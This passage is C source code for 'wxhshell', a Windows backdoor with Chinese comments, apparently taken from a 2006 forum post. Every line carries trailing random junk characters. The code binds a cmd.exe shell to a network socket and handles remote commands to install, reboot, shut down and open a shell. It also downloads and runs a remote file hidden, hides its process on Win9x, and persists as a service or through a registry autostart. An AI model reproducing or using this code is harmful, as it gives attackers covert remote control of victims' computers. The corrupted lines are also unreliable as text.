  else $ n"*scyI  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); r%412 #  
  } L. DD  
  else { X(JE]6_  
C q)Cwc[H  
    switch(cmd[0]) { +Hk r\  
  Eu|O<9U\  
  // 帮助 0I['UL^!F  
  case '?': { #b wGDF  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); t+Au6/Dx?  
    break; vtF|: *h  
  } 8T?D#,/  
  // 安装 H7dT6`<~Y  
  case 'i': { @RXkj-,eC#  
    if(Install()) +sT S1t  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 2uLBk<m5c  
    else E4, J"T|@  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); = :BTv[lv  
    break; PnZC I!Mw  
    } Wn-'iD+9<  
  // 卸载 5jAS1XG  
  case 'r': { 6KDm#7J  
    if(Uninstall()) wDDNB1_ E  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); X.+|o@G  
    else ;cfPS  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); TyY%<NCIb  
    break; 2#oU2si   
    } * -(8Z>9  
  // 显示 wxhshell 所在路径 +t%1FkI\  
  case 'p': { qP BOt;N  
    char svExeFile[MAX_PATH]; JFFluL=-  
    strcpy(svExeFile,"\n\r"); ]-;MY@  
      strcat(svExeFile,ExeFile); "h-ZwL  
        send(wsh,svExeFile,strlen(svExeFile),0); 1pAcaJzf  
    break; A DVUx}  
    } 3JEg3|M(  
  // 重启 '0w</g  
  case 'b': { D)tL}X$  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 4W#DLip9  
    if(Boot(REBOOT)) 055C1RV%  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ;Z); k`j  
    else { {gh<SZsE  
    closesocket(wsh); c9x&:U  
    ExitThread(0);  |A\o  
    }  +;-ZU  
    break; :b] \*  
    } U"=Lzo.0  
  // 关机 +)LCYDRV7  
  case 'd': { [* M':  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); >gDeuye  
    if(Boot(SHUTDOWN)) ;Yt+ {pI  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); OG9 '[o`8  
    else { SlG^ H  
    closesocket(wsh); i+F*vTM2,  
    ExitThread(0); P\WFm   
    } W-*HAS  
    break; Mh{244|o[  
    } 9kh MG$  
  // 获取shell 1nw\?r2  
  case 's': { 1tLEKSo+  
    CmdShell(wsh); Zrp-Hv27,,  
    closesocket(wsh); CF 3V)3}  
    ExitThread(0); 4jSYR#Hqp`  
    break; #^BttI  
  } JfY(};&  
  // 退出 ':3[?d1Es  
  case 'x': { M4D @G  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); KaX*) P  
    CloseIt(wsh); :dpwr9)  
    break; @]]&^ 7  
    } 1$+8wDVwad  
  // 离开 I\x9xJ4x  
  case 'q': { JEaTDV_  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); I$MlIz$l v  
    closesocket(wsh); Eh)VT{vp  
    WSACleanup(); ?O3d Sxi  
    exit(1); K8Q3~bMf  
    break; H>W8F2VT  
        } .rITzwgB  
  } ([ -i5  
  } nzaA_^`mB  
#4lIna%VX  
  // 提示信息 !/!ga)Y  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); >:4`y"0  
} CJER&"em7  
  } nmts% u  
s2<[@@@q  
  return; T=)qD2?  
} E3l*_b0  
1. +6x4%rV  
// shell模块句柄 1]eRragm"  
int CmdShell(SOCKET sock) +'-.c"  
{ Mn/@?K?y  
STARTUPINFO si; hl7 z1h  
ZeroMemory(&si,sizeof(si)); S1I.l">P  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; atF#0*e>  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; B~7!v${  
PROCESS_INFORMATION ProcessInfo; ;Xy=;Z.]i  
char cmdline[]="cmd"; * m^\&  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Z.u 1Dz  
  return 0; yk)]aqic  
} =u?aP}zc  
U: Wet,  
// 自身启动模式 as!a!1  
int StartFromService(void) /1v9U|j  
{ (/N&_r4x  
typedef struct 5.oIyC^Ik  
{ ON){d!]uJ  
  DWORD ExitStatus; (or"5}\6-  
  DWORD PebBaseAddress; <K`E*IaW  
  DWORD AffinityMask; I](a 5i  
  DWORD BasePriority; iGu%_-S  
  ULONG UniqueProcessId; 1*Pxndt&  
  ULONG InheritedFromUniqueProcessId; nAEyL+6U  
}   PROCESS_BASIC_INFORMATION; [GI~ &  
m|B=&#  
PROCNTQSIP NtQueryInformationProcess; %Qlc?Wl:  
xBA"w:<  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; m]!hP^^  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ~(ke'`gJ0-  
 '2*OrY  
  HANDLE             hProcess; xdm\[s  
  PROCESS_BASIC_INFORMATION pbi; %g}d}5s  
qrYbc~jI7  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); nYj rEy)Q  
  if(NULL == hInst ) return 0; <3x%-m+p4  
)ZpI%M?)  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); z6C(?R  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); n jWe^  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); < ,*\t  
KU/r"lMNlU  
  if (!NtQueryInformationProcess) return 0; 31a,i2Q4  
0_gN]>,9n  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); vKG\8+  
  if(!hProcess) return 0; b4e~Z  
{fzX2qMZ]  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; heCM+ =#~  
3!{imQT  
  CloseHandle(hProcess); 7@fS2mu  
A _zCSRF,  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); # dWz,e3   
if(hProcess==NULL) return 0; @%Ld\8vdfJ  
N|DI k  
HMODULE hMod; xo_STLAw  
char procName[255]; {r&mNbz  
unsigned long cbNeeded; j2MA['{  
S} m=|3%y  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); m4hkV>$d  
p|-MwCeH  
  CloseHandle(hProcess); 8(% F{&<;  
_Sr7b#)o  
if(strstr(procName,"services")) return 1; // 以服务启动 <eG|`  
wf\"&xwh?  
  return 0; // 注册表启动 /:4J  
} NZB*;U~t  
Jw;~$  
// 主模块 >zW2w2O3  
int StartWxhshell(LPSTR lpCmdLine) rv*{[K  
{ s|Mo3_>  
  SOCKET wsl; :2? g_  
BOOL val=TRUE; .5 . (S^u  
  int port=0; *#Cx-J  
  struct sockaddr_in door; =GX5T(P8k  
OTXZdAv  
  if(wscfg.ws_autoins) Install(); %} `` :  
1!v{#w{u7  
port=atoi(lpCmdLine); P51M?3&=l  
r N$0qo  
if(port<=0) port=wscfg.ws_port; 6Rn?pe^  
og}Ri!^  
  WSADATA data; PAYw:/(P  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; MbRTOH  
BIWe Hx  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   eP-|3$  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Jl~ *@0(  
  door.sin_family = AF_INET; TJ"-cWpO1  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 9eMle?pF  
  door.sin_port = htons(port); <L-F3Buu  
>O-KJZ'GV  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { dR S:S_  
closesocket(wsl); :<J7g`f  
return 1; FCE y1^u  
} .4+R ac  
Ul}RT xJ  
  if(listen(wsl,2) == INVALID_SOCKET) { Y2r}W3F=  
closesocket(wsl); <YaTr9%w  
return 1; ~1uQyt  
} e|]e\Or>  
  Wxhshell(wsl); }>@\I^Xm,  
  WSACleanup(); Tv=lr6t8  
iOk ;o=  
return 0; N p"p*O  
F)^0R%{C  
} 2ioHhcYdJU  
<V&0GAZ  
// 以NT服务方式启动 ?M4o>T%p"  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) h:aa^a~y i  
{ Z1HH0{q-A  
DWORD   status = 0; 2aYBcPFQh#  
  DWORD   specificError = 0xfffffff; %O \@rws  
`Lr], >aG  
  serviceStatus.dwServiceType     = SERVICE_WIN32; P<PZ4hNx  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; p!UR;xHI\  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; >d + }$dB  
  serviceStatus.dwWin32ExitCode     = 0; NM3;l}Y8  
  serviceStatus.dwServiceSpecificExitCode = 0;  !VGG2N8  
  serviceStatus.dwCheckPoint       = 0; 1/}H 0\9'  
  serviceStatus.dwWaitHint       = 0; ~5KcbGD~  
Z8SwW<{ $  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); n~^SwOt~;5  
  if (hServiceStatusHandle==0) return; #3&@FzD_P  
Nr4}x7  
status = GetLastError(); 9!( 8o  
  if (status!=NO_ERROR) !&:=sA  
{ ^ij0<*ca9  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ER"69zQg|2  
    serviceStatus.dwCheckPoint       = 0; mnpk9x}m  
    serviceStatus.dwWaitHint       = 0; p<fCGU  
    serviceStatus.dwWin32ExitCode     = status; sYKx 3[V/  
    serviceStatus.dwServiceSpecificExitCode = specificError; 2k.VTGak  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); }N g P`m  
    return; CF bNv9GZj  
  } :;{M0  
rFXdxRP;M  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; bzi"7%c  
  serviceStatus.dwCheckPoint       = 0; '`jGr+K,wU  
  serviceStatus.dwWaitHint       = 0;  YSD G!  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 2zC4nF)>O  
} Qq,2V  
B>2R-pa4~  
// 处理NT服务事件,比如:启动、停止 5u$.!l8Nl  
VOID WINAPI NTServiceHandler(DWORD fdwControl) p2STy\CS  
{ ^j}C]cq{Xg  
switch(fdwControl) sfXFh  
{ iH(7.?.r  
case SERVICE_CONTROL_STOP: \YvG+7a  
  serviceStatus.dwWin32ExitCode = 0; F[ E'R.:  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; im>(^{{r&  
  serviceStatus.dwCheckPoint   = 0; zhn ?;Fi  
  serviceStatus.dwWaitHint     = 0; wps/{h,  
  { u&zY>'}zm  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus);  [Sm<X  
  } #NM)  
  return; B!RfPk1B<*  
case SERVICE_CONTROL_PAUSE: -`L`kL<  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 't<iB&wgF  
  break; [:X@|,1V!L  
case SERVICE_CONTROL_CONTINUE: I*rUe#$  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; j<^!"_G]*?  
  break; Wb}-H-O  
case SERVICE_CONTROL_INTERROGATE: /2K"Mpf8  
  break; x1gS^9MqCB  
}; LHY7_"u#  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); E*'YxI  
} t&U9Z$LS  
8Ths"zwn  
// 标准应用程序主函数 WDc[+Xyw  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) JH?ohA  
{ mb*Yw 6q  
//@6w;P  
// 获取操作系统版本 j7!u;K^c  
OsIsNt=GetOsVer(); VEWW[ T  
GetModuleFileName(NULL,ExeFile,MAX_PATH); l,@>J9}Se  
y [Vd*8  
  // 从命令行安装 x;vfmgty  
  if(strpbrk(lpCmdLine,"iI")) Install(); r5j$FwY  
k0Vri$x  
  // 下载执行文件 n.+*_c8k  
if(wscfg.ws_downexe) { I0 t#{i  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) m>uG{4<-  
  WinExec(wscfg.ws_filenam,SW_HIDE); Cd'D ~'=  
} k^7!iOK2  
*R6lK&  
if(!OsIsNt) { P& 1$SWNyW  
// 如果时win9x,隐藏进程并且设置为注册表启动 lT[,w9$  
HideProc(); ,:Px(=d4  
StartWxhshell(lpCmdLine); u|<?m A!  
} )G48,. "  
else SQ) BS/8A  
  if(StartFromService()) "%T~d[M  
  // 以服务方式启动 19fa7E<  
  StartServiceCtrlDispatcher(DispatchTable); {\>4)TA  
else qGX@mo({  
  // 普通方式启动 Jt$YSp=!!  
  StartWxhshell(lpCmdLine); Le#srr  
AE~zm tW  
return 0; #IH9S5B [  
}
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只看该作者 1 发表于: 2006-10-10
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